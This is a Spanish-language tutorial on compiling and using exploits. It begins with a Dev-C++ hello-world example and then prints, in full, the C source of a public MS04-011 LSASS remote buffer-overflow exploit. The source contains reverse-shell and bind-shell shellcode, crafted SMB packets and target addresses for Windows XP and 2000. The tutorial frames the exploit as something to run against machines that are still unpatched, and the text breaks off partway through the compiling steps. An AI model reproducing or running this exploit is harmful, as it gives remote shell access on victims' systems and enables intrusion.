COMPILANDO Y UTILIZANDO EXPLOITSINTRODUCCIONSi bien esto es un dilema para muchas personas la verdad no es tan difícil de hacer, lo unico que necesitan es agarrarse cualquier manual de C y ponerse a leer un poco en sus ratos libres.
Pero no se preocupen en este caso no se necesitara hacer eso, yo les ayudare un poco a crearse su primer programa en C y ya de paso veremos como se compilan los exploits.
En este caso vamos a utilizar un compilador llamado Dev-C++ utilizare este debido a que es muy facil de utilizar asi como tambien que no se tendra que pagar por utilizarlo, lo pueden descargar de la siguiente web:
http://www.bloodshed.net/Ahora que ya lo tenemos instalado, lo ejecutamos y nos abrira una ventana de este tipo:
Lo que haremos sera irnos al menú archivo – nuevo – proyecto.
En la ventana que nos abrira seleccionamos “Console application”, le ponemos un nombre y en el lenguaje seleccionamos C, Como se muestra en la siguiente imagen:
Una vez que le hayamos dado aceptar solo tendremos que seleccionar donde guardar nuestro proyecto y listo.
Una vez hecho esto nos devolvera a la ventana en que iniciamos pero esta vez nos mostrara en el cuadro principal del programa el codigo fuente que nos sirve de guia para lo que vayamos a hacer, en nuestro caso lo podemos borrar todo y en su lugar colocaremos el siguiente codigo(no vayan a colocar mayusculas, por que los compiladores distinguen las letras mayusculas de las minusculas):
#include <stdio.h>
int main()
{
printf("hola mundo C");
getch();
return 0;
}
Una vez el codigo en su lugar nos dirigimos al menú ejecutar – Compilar y ejecutar, o presionamos la tecla F9, a continuación nos preguntara donde queremos guardar nuestro codigo fuente y si todo esta bien escrito nos debera de abrir una ventana con una leyenda que dice “hola mundo C” (sin las comillas por supuesto) si les marco algun error revisen su programa con cuidado, cualquier punto y coma o que las palabras esten bien escritas.
Ahora que ya lo ejecutaron solo me sobre decir “Enhorabuena!!! Acaban de crear y ejecutar su primer programa con éxito, ahora ya son capaces de compilarse y crearse sus propios exploits…(es broma
)”
Quizas este programa no sea la gran cosa pero hasta los mejores programadores comenzaron con un programa de este tipo asi de que no se sientan mal ni se me vayan a deprimir, muy bien ahora paso a explicar a grandes rasgos el significado de cada linea de codigo que pusimos en nuestro programa:
Esta linea le dice al compilador que agregue a nuestro proyecto la libreria llamada “stdio”.
esta linea es la que indica el comienzo de nuestro programa principal.
Esta llave al igual que la que se encuentra al final lo unico que hacen es indicar que todo lo que se encuentre dentro de ellas pertenece a nuestro programa principal.
esta linea lo unico que hace es llamar a la funcion “printf” que se encuentra dentro de la librería stdio, la cual nos sirve para imprimir en pantalla la leyenda que dice: “hola mundo C”.
dicho en otras palabras, en esta linea utilizamos un comando llamado printf que nos sirve para imprimir en pantalla enunciados pero hay que tener en cuenta que la sintaxis siempre es asi:
y nosotros deberemos de colocar el texto que queramos imprimir dentro de las comillas, el punto y coma que se encuentran al final solamente nos indican el final de la linea de codigo.
Los que ya hayan visto un poco mas de C sabran que tambien se pueden eliminar las comillas y agregar en su lugar variables pero prefiero no hablar del tema por que si no, nunca vamos a terminar con esto.
Esta linea lo unico que hace es detener nuestro programa hasta que presionemos la tecla enter, la finalidad que tiene aquí es que detenga el programa para que nosotros podamos observar lo que se imprimio en pantalla con la linea de codigo anterior. Si gustan pueden eliminar completamnte esta linea del programa lo vuelven a compilar y ejecutar y veran a lo que me refiero.
Esta linea lo unico que hace es devolver un 0 a la funcion de nuestro programa principal para decirle que todo se ha ejecutado a la perfeccion, diriamos que por estandar se devuelve un 0 si todo se ejecuto correctamente y cualquier otro valor si ocurrio algun problema.
Esta linea se podria eliminar y nuestro programa se seguiria ejecutando pero el compilador nos va a marcar una alerta o “warning”.
Ahora si espero que si vemos el codigo fuente que les puse ya podamos darnos una idea de lo que hace cada linea, de igual forma les recomiendo se compren un buen libro de C o busquen algunos tutoriales si quieren aprender un poco mas sobre el tema.
Quizas con esto algunos digan que ya saben mas o menos como hacerle para compilarse los codigos fuentes de los exploits que andan por alli, pero bueno en este caso vamos a compilar un exploit muy utilizado por Internet, quizas sea algo viejo pero como todos saben siempre te encuentras con personas que nisiquiera saben como se llama el sistema operativo que utilizan ahora imaginense los equipos que aun son vulnerables a fecha de hoy…
Nota: No te vayas a enojar conmigo Sirdarkcat por decirles paso por paso como compilar los exploits pero prefiero mil veces explicar como hacerlo por ellos mismos que pasarles el exploit ya compilado xD. Compilando y ejecutando el exploit ms04011-lsasrvPrimero que nada tendremos que conseguir el codigo fuente de dicho exploit aunque en este caso lo pondre yo para que ya no tengan que perder tiempo en ello (solo por esta ocasión lo hare, para la proxima les tocara buscarlo):
/* HOD-ms04011-lsasrv-expl.c:
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit
* Version 0.1 coded by
*
*
* .::[ houseofdabus ]::.
*
*
* -------------------------------------------------------------------
* Usage:
*
* expl <target> <victim IP> <bindport> [connectback IP] [options]
*
* Targets:
* 0 [0x01004600]: WinXP Professional [universal] lsass.exe
* 1 [0x7515123c]: Win2k Professional [universal] netrap.dll
* 2 [0x751c123c]: Win2k Advanced Server [SP4] netrap.dll
*
* Options:
* -t: Detect remote OS:
* Windows 5.1 - WinXP
* Windows 5.0 - Win2k
* -------------------------------------------------------------------
*
* Tested on
* - Windows XP Professional SP0 English version
* - Windows XP Professional SP0 Russian version
* - Windows XP Professional SP1 English version
* - Windows XP Professional SP1 Russian version
* - Windows 2000 Professional SP2 English version
* - Windows 2000 Professional SP2 Russian version
* - Windows 2000 Professional SP4 English version
* - Windows 2000 Professional SP4 Russian version
* - Windows 2000 Advanced Server SP4 English version
* - Windows 2000 Advanced Server SP4 Russian version
*
*
* Example:
*
* C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Detecting remote OS: Windows 5.0
*
*
* C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Attacking ... OK
*
* C:\nc 192.168.1.10 4444
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
*
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/
#include <windows.h>
#pragma comment(lib, "ws2_32")
// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";
// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";
char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";
char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...
char shit1[] =
"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";
char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...
char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";
char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90
struct targets {
int num;
char name[50];
long jmpaddr;
} ttarget[]= {
{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }
};
void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf(" -t: Detect remote OS:\n");
printf(" Windows 5.1 - WinXP\n");
printf(" Windows 5.0 - Win2k\n\n");
exit(0);
}
int main(int argc, char *argv[])
{
int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];
unsigned short port;
unsigned long ip;
unsigned char *sc;
char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char req4u[sizeof(req4)+20];
char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];
char recvbuf[1600];
char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];
unsigned int targetnum = 0;
int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;
printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
if (argc < 4) {
usage(argv[0]);
}
target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);
for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}
memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);
smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);
unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);
if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;
if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);
//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));
memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr
memcpy(&buf[2856], sc, strlen(sc));
for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;
memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}
memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);
WSAStartup(MAKEWORD(2,0),&wsa);
if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);
printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");
if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}
printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);
memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);
memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);
if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);
screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");
len = recv(sockfd, recvbuf, 1600, 0);
return 0;
}
Ahora que tenemos el codigo fuente manos a la obra, primero que nada abriremos el dev-c++ y crearemos un nuevo proyecto.
Archivo – nuevo – proyecto.
Y en la ventana que nos abrira ya saben que deben de seleccionar “console application”, ponerle un nombre y en este caso en la parte que nos pone el lenguaje deberemos de poner C, como muestra la siguiente imagen:
¿Y por que digo que “en este caso”?
Pues sencillo, habra casos en los que se encuntren exploits que esten programados en C++ y no en C, por ello es bueno siempre revisar las cabeceras de los codigos fuentes que en este caso dice en la prime linea:
/* HOD-ms04011-lsasrv-expl.c:
